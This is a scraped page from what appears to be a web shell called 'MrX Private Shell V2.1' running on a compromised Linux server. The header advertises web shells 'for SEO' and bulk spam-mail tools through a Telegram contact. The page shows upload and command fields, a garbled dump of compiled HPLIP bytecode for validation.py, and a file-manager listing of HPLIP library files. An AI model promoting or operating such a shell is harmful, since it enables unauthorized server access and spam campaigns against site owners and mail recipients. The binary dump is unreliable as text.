__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g����SSKrSSKrSSKrSSK7 SSK7 SSKJr SSKJr SSK7 SSK	J
r
Jr "SS\5r
"SS	\
5rg)
�N)�*)�utils)�os_utils)�Popen�PIPEc� �\rSrSrSrSrSrg)�DigiSign_Verification�#c��g�N���selfs �#/usr/share/hplip/base/validation.py�__init__�DigiSign_Verification.__init__$����c��grr
rs r�validate�DigiSign_Verification.validate'rrr
N)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__r
rrr	r	#s��
�
rr	c�6�\rSrSrSrS	SjrSrSrSrSr	g)
�GPG_Verification�+c��[R"SS5Ul[R"5uol[RRUR
S5Ul	[RRUR5(d"[R"URS5 UR5 g![a% [RSUR-5 N?f=f)N�gpgTz.gnupgi�zFailed to create %s)r�which�_GPG_Verification__gpgr�getHPLIPDir�_GPG_Verification__hplipdir�os�path�join�_GPG_Verification__gpg_dir�exists�mkdir�OSError�log�error�_GPG_Verification__change_owner)r�stss  rr�GPG_Verification.__init__,s����[�[��t�,��
�'�3�3�5���_������d�o�o�x�@���
�w�w�~�~�d�n�n�-�-�
B��������/�	
������
B��	�	�/�$�.�.�@�A�
B�s�!C	�	,C8�7C8c�`�[R"S5 [R"UR5n[R
"URU[RU[RU5 g![a% [RSUR-5 gf=f)Nrz Failed to Change ownership of %s)r&�umask�statr%r�changeOwnerr)�ST_UID�ST_GIDr,r-r.)r�	Recursive�ss   r�__change_owner�GPG_Verification.__change_owner;su��	J��H�H�Q�K�������(�A�� � �����4�;�;���4�;�;��QZ�[���	J��I�I�8�$�.�.�H�I�	J�s�A;A>�>,B-�,B-c��UR<SUR<SU<SU<3n[RSU<SU<S35 [R
"U5upE[RSURXE4-5 U$)N� --homedir z! -no-permission-warning --verify � zVerifying file z
 : cmd = [�]z%s status: %d  output:%s)r#r)r-�debugr�run)r�
hplip_package�hplip_digsig�cmd�status�outputs      r�__gpg_check�GPG_Verification.__gpg_checkDsd��IM���UY�Uc�Uc�eq�tA�B���	�	�m�C�H�I����3�����	�	�,��
�
�F�/J�J�K��
rc���UR<SUR<SS<3n[RS5 [R
"U5up#[R
U5 URS5 U$)Nr=z" --no-permission-warning --import z /usr/share/hplip/signing-key.asczImporting digital keyT)r#r)r-�inforrAr@r/)rrDrErFs    r�__acquire_gpg_key�"GPG_Verification.__acquire_gpg_keyQsY�����T�^�^�-O�Q��	���(�)����3�����	�	�&�����D�!��
rc�8�[RSU<SU<S35 UR(d[[	[54$[
RRU5(d[[	[SU54$[
RRU5(d[[	[SU54$UR5nUS:wa[[	[54$URX5nUS:wa[[	[SU54$[S4$)NzValidating z with z signature filer�)r-r@r#�ERROR_GPG_CMD_NOT_FOUND�queryStringr&r'r*�ERROR_FILE_NOT_FOUND�ERROR_DIGITAL_SIGN_NOT_FOUND�"_GPG_Verification__acquire_gpg_key�ERROR_UNABLE_TO_RECV_KEYS�_GPG_Verification__gpg_check�ERROR_DIGITAL_SIGN_BAD�
ERROR_SUCCESS)rrBrCrEs    rr�GPG_Verification.validate_s����	�	�=�,�W�X��z�z�*�K�8O�,P�P�P��w�w�~�~�m�,�,�'��5I�1�m�)\�\�\��w�w�~�~�l�+�+�/��=Y�[\�^j�1k�k�k��'�'�)���Q�;�,�k�:S�.T�T�T��!�!�-�>���Q�;�)�;�7M�q�R_�+`�`�`� �"�$�$r)�__gpg�	__gpg_dir�
__hplipdirN)F)
rrrrrr/rUrSrrr
rrrr+s���J�
��%rr)r&r4�datetime�
base.codes�base.strings�baserr�base.g�
subprocessrr�objectr	rr
rr�<module>rcs?��,
��������"�
�F�
�H%�,�H%r

Filemanager

Name Type Size Permission Actions
CdmWifi.cpython-313.pyc File 16.36 KB 0644
LedmWifi.cpython-313.pyc File 32.9 KB 0644
__init__.cpython-313.pyc File 194 B 0644
avahi.cpython-313.pyc File 2.54 KB 0644
codes.cpython-313.pyc File 24.52 KB 0644
device.cpython-313.pyc File 119.56 KB 0644
dime.cpython-313.pyc File 4.41 KB 0644
exif.cpython-313.pyc File 32.61 KB 0644
g.cpython-313.pyc File 21.39 KB 0644
imageprocessing.cpython-313.pyc File 40.63 KB 0644
imagesize.cpython-313.pyc File 7.26 KB 0644
ldif.cpython-313.pyc File 18.57 KB 0644
local.cpython-313.pyc File 2.31 KB 0644
logger.cpython-313.pyc File 22.16 KB 0644
magic.cpython-313.pyc File 64.16 KB 0644
maint.cpython-313.pyc File 68.32 KB 0644
mdns.cpython-313.pyc File 12.97 KB 0644
mfpdtf.cpython-313.pyc File 11.25 KB 0644
models.cpython-313.pyc File 21.22 KB 0644
module.cpython-313.pyc File 28.83 KB 0644
os_utils.cpython-313.pyc File 2.97 KB 0644
password.cpython-313.pyc File 13.44 KB 0644
pkit.cpython-313.pyc File 15.27 KB 0644
pml.cpython-313.pyc File 26.85 KB 0644
queues.cpython-313.pyc File 18.9 KB 0644
services.cpython-313.pyc File 11.37 KB 0644
six.cpython-313.pyc File 27.04 KB 0644
sixext.cpython-313.pyc File 8.11 KB 0644
slp.cpython-313.pyc File 8.03 KB 0644
smart_install.cpython-313.pyc File 11.66 KB 0644
status.cpython-313.pyc File 74.51 KB 0644
strings.cpython-313.pyc File 38.94 KB 0644
tui.cpython-313.pyc File 18.18 KB 0644
utils.cpython-313.pyc File 115.18 KB 0644
validation.cpython-313.pyc File 5.31 KB 0644
vcard.cpython-313.pyc File 45.18 KB 0644
wifi.cpython-313.pyc File 24.22 KB 0644
Filemanager